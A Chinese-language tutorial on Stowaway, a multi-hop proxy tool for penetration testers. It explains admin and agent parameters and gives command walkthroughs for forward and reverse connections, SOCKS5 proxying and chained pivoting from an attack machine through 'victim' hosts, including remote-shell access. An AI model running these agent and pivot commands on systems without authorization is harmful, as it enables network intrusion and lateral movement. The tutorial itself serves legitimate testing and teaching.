壹 工具说明
Stowaway
是一个利用go
语言编写、专为渗透测试工作者制作的多级代理工具,用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能,算是Venom
升级吧!(百度的,没用过Venom
),不过挺喜欢他的节点管理和多层代理概念的,像nps
、frp
、iox
就不能做多层代理;nps
比较大,10MB
左右;frp
配置多,iox
没用过,后面用了再说,Stowaway
使用自定义协议和加密算法,提供更加安全和隐秘的通信方式。
角色
Stowaway
一共包含两种角色,分别是:admin
渗透测试者使用的主控端,也就是管理agent
端,类似与cobaltstrike
的teamserver
。agent
渗透测试者部署的被控端,也就是小弟,类似与cobaltstrike
的弱鸡。
名词定义
- 节点:就两个
admin
和agent
- 主动模式:指当前操作的节点主动连接另一个节点,也就正向连接
- 被动模式:指当前操作的节点监听某个端口,等待另一个节点连接,即反向连接
- 上游:因为
Stowaway
的节点连接是一种类似与树型分布的,即上游指当前操作的节点与其父节点之间的流量 - 下游:指当前操作的节点与其所有子节点之间的流量
- 节点:就两个
特点:
- 管理端更加友好的交互,支持命令补全/历史
- 一目了然的节点树管理
- 丰富的节点信息展示
- 节点间正向/反向连接
- 节点间支持重连
- 节点间可通过socks5代理进行连接
- 节点间可通过ssh隧道连接
- 节点间流量可选择TCP/HTTP
- 多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6
- 节点支持ssh访问远程主机
- 远程shell
- 上传及下载文件
- 端口本地/远程映射
- 节点可端口复用
- 自由开关各类服务
- 节点间相互认证
- 节点间流量以AES-256-GCM进行加密
- 相较于v1.0,文件体积减小25%
- 支持各类平台(Linux/Mac/Windows/MIPS/ARM)
缺点:
贰 工具适用场景
代理工具就是代理啊!
叁 安装说明
官方地址:Stowaway
源码:Stowaway-master.zip,不想编译的盆油可以直接用release下编译完成的程序。
肆 工具参数说明
- admin
参数:
-l 被动模式下的监听地址[ip]:<port>
-c 主动模式下的目标节点地址
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP
- agent
参数:
-l 被动模式下的监听地址[ip]:<port>
-c 主动模式下的目标节点地址
-s 节点通信加密密钥
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
伍 工具使用
5.1 主动和连接被动连接
-l
和-c
在admin
&&agent
用法一致,分别是主动模式(-l
)、被动模式(-c
),两个参数都需要IP:port
,但是-l
是监听,若不指定IP地址,则默认监听在0.0.0.0
上,而-c
的IP:port
是希望连接到的节点IP:port
,个人的建议是使用admin
端为主动模式,agent
端为被动模式,第一个agent
端放在vps或者自己的pc上,因为这样稳定,而且可以用代理,如果admin
端掉线了,agent
端不会掉线,但是admin
端使用被动模式,agent
端掉线,admin
端也会掉线。
- 使用:
-l
- admin:
./stowaway_admin -l 9999
or./stowaway_admin -l 127.0.0.1:9999
- agent:
./stowaway_agent -l 9999
or./stowaway_agent -l 127.0.0.1:9999
- admin:
-c
- admin:
./stowaway_admin -c 希望连接到的节点IP:9999
- agent:
./stowaway_agent -c 希望连接到的节点IP:9999
- admin:
5.2 加密
-s
这个参数在admin
&&agent
用法一致,均可用在主动&&被动模式下,为可选选项,若为空,则代表通信不被加密,反之则通信基于用户所给出的密钥加密,需要注意的是密码需要全部结点一致才能连接。
- 使用:
-s
- admin:
./stowaway_admin -l 9999 -s 123
or./stowaway_admin -c 希望连接到的节点:9999 -s 123
- agent:
./stowaway_agent -l 9999 -s 123
or./stowaway_agent -c 希望连接到的节点:9999 -s 123
- admin:
5.3 socks5代理
--proxy/--proxyu/--proxyp
这三个参数在admin
&&agent
用法一致,仅用在主动模式下,参数详细介绍看参数解析。
- 使用:
无用户名密码:
- admin:
./stowaway_admin -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx
- agent:
./stowaway_agent -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx
- admin:
有用户名密码:
- admin:
./stowaway_admin -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx --proxyu 用户名 --proxyp 密码
- agent:
./stowaway_agent -c 希望连接到的节点:9999 --proxy xxx.xxx.xxx.xxx --proxyu 用户名 --proxyp 密码
- admin:
如果我们进入了内网机器需要设置socks5
代理,只需要在admin
端处进入需要代理的内网机器处设置socks <lport> [username] [pass]
即可代理成功。
5.4 多层代理
当我们进入了内网机器后,需要进行多层代理时,同样分为主动模式和被动模式,在连接时,agent
端的设置与前面的主被动连接一样:
- 使用:
-l
- agent:
./stowaway_agent -l 9999
or./stowaway_agent -l 127.0.0.1:9999
- agent:
-c
- agent:
./stowaway_agent -c 希望连接到的节点IP:9999
- agent:
但是admin
端则不同,需要进入对应的内网机器A(注意该内网机器A能连接的我们想要连接的另一台内网机器B):
- 使用:
- 启动被动连接:
listen
- 启动主动连接:
connect ip:port
- 启动被动连接:
陆 工具使用
6.1 正向连接(admin端主动模式)
假设我们需要攻击机正向连接受害机1:
在受害机1处(agent
客户端)设置监听:
./linux_x64_agent -l 9999 -s 123456
在攻击机处(admin
服务端)主动连接受害机1:
.\windows_x64_admin.exe -c 192.168.142.130:9999 -s 123456
如果admin
服务端出现Connection from node IP:port is set up successfully! Node id is 0
说明连成功。一般我们通过topo
查看拓扑图,通过use
使用结点,通过shell
进入客户端的机器。
6.2 反向连接(admin端被动模式)
假设我们需要攻击机反向连接受害机1:
在攻击机处(admin
服务端)设置监听:
.\windows_x64_admin.exe -l 9999 -s 123456
在受害机1处(agent
客户端)主动连接攻击机:
./linux_x64_agent -c 192.168.142.128:9999 -s 123456
再看看攻击机处的状态:
6.3 设置socket代理
假设我们已经通过攻击机连接到了受害机1中(无论主动模式还是被动模式):
通过攻击机处进入受害机1结点:
use 0
socks 1080
设置浏览器代理,并访问受害机1机器:
6.4 设置多层代理
- 受害机2能与受害机1互相访问
这里有个场景:攻击机可以与受害机1交互,不能访问受害机2,受害机2不出网,但可以访问受害机1:
假设我们已经通过攻击机连接到了受害机1中(无论主动模式还是被动模式):
通过攻击机处进入受害机1结点:
use 0
listen
选择选项1.Normal Passive
输入一个受害机1中未被占用的端口
在受害机2处(agent
客户端)主动连接受害机1监听的端口:
./linux_x64_agent -c 192.168.136.129:60001 -s 123456
再看看攻击机处的状态,增加另一个node1
结点:
进入node1
结点查看信息为受害机2:
- 受害机2不能访问受害机1
这里有个场景:攻击机可以与受害机1交互,不能访问受害机2,受害机2不出网,也不能访问受害机1,但是受害机1可以访问受害机2:
假设我们已经通过攻击机连接到了受害机1中(无论主动模式还是被动模式):
通过受害机2设置监听:
./linux_x64_agent -l 60001 -s 123456
通过攻击机处进入受害机1结点:
use 0
connect 192.168.136.128:60001
多出一个结点2,并进入结点2,确认为受害机2: